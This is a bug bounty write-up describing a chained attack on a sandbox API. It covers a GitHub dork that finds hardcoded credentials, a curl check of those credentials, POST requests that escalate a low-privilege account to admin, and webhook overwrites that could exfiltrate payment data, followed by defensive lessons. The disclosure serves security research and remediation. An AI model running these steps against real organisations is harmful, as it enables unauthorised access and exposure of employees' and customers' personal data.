Inspectiv | Chained Credential Leak & API Privilege Escalation

https://app.inspectiv.com | Private Program | Sandbox Environment

This Vulnerability is about a chain of issues that escalated from a low-privilege credential leak to full administrative control of an organization’s API. This case demonstrates GitHub reconnaissance, API abuse, and RBAC Logic flaw that enables admin access.

---

1. Reconnaissance (GitHub search)

• Performed GitHub dorking:

  org:<company> "const pass" OR "const user"

• Found hardcoded credentials in a public repository:

  const user = "USxxxxxxxxxxxx";
  const pass = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx";

• Verified against API sandbox domain:

  curl -u "{USER:PASS}" \
       https://sandbox.example-api.com/users

2. Credential Verification

• Credentials were valid but mapped to a low-privileged user role.

• API responses returned real employee PII, including full legal names, company emails and identifiers that matched active LinkedIn profiles.

3. RBAC Logic Flaw

https://docs.<redacted>.com

• Reviewed API documentation → found endpoint:

  POST /applications/{application_id}/users

• Using the leaked low-privileged token:

  POST /applications/123/users HTTP/2
  Host: sandbox.example-api.com
  Authorization: Basic <low_priv_token>
  Content-Type: application/json
  
  {"role": "ROLE_ADMIN"}

notably, this one also weirdly works (POST with empty body )

• POST /applications/123/users HTTP/2
  Host: sandbox.example-api
  Authorization: Basic <low_priv_token>
  Content-Type: application/json
  
  {}

• Response included new credentials with elevated privileges:

  {
    "id": "USabcd123",
    "password": "xxxxdffa-xxxx-xxxx-xxxx-xxxxb7e4c21f",
    "role": "ROLE_ADMIN"
  }

NOTE:

Encoding id:password to Base64 gives us Authorization: Basic <token>.

https://docs.<redacted>.com

4. Escalation & Full Impact

• With admin token, I confirmed:

  • GET /users → full employee enumeration (emails, IDs).

  • GET /identities → personal information exposure.

  • POST /webhooks → ability to overwrite webhook targets and exfiltrate customer payment data.

• Notably, the UI blocked this functionality, but direct API calls bypassed the restriction.

Impact

• Unauthorized disclosure of employee and customer PII.

• Privilege escalation from low-priv to admin via API-only logic flaw.

• Potential compromise of payment and identity workflows (If not not fixed on live production).

https://x.com/0xLuX1eL/status/1963943038822039671

Lessons

• GitHub recon is critical — Public repos frequently contain sample keys, test creds, or example config files. Always run scoped dorks and secret-scaners (gitleaks / truffleHog) against an org’s public surface during recon.

• Low-privilege != low impact — always validate what data is accessible.

• UI != API parity — RBAC must be enforced at the API level, not only in frontend restrictions.

• Chain vulnerabilities — individually low-severity bugs can escalate to higher compromise when combined.

• Reading API documentation = underrated reconnaissance Docs and code examples tell you intended workflows, hidden endpoints, optional parameters, and expected request/response shapes, all useful for crafting minimal requests to probe for logic flaws. Treat docs as an extension of the attack surface.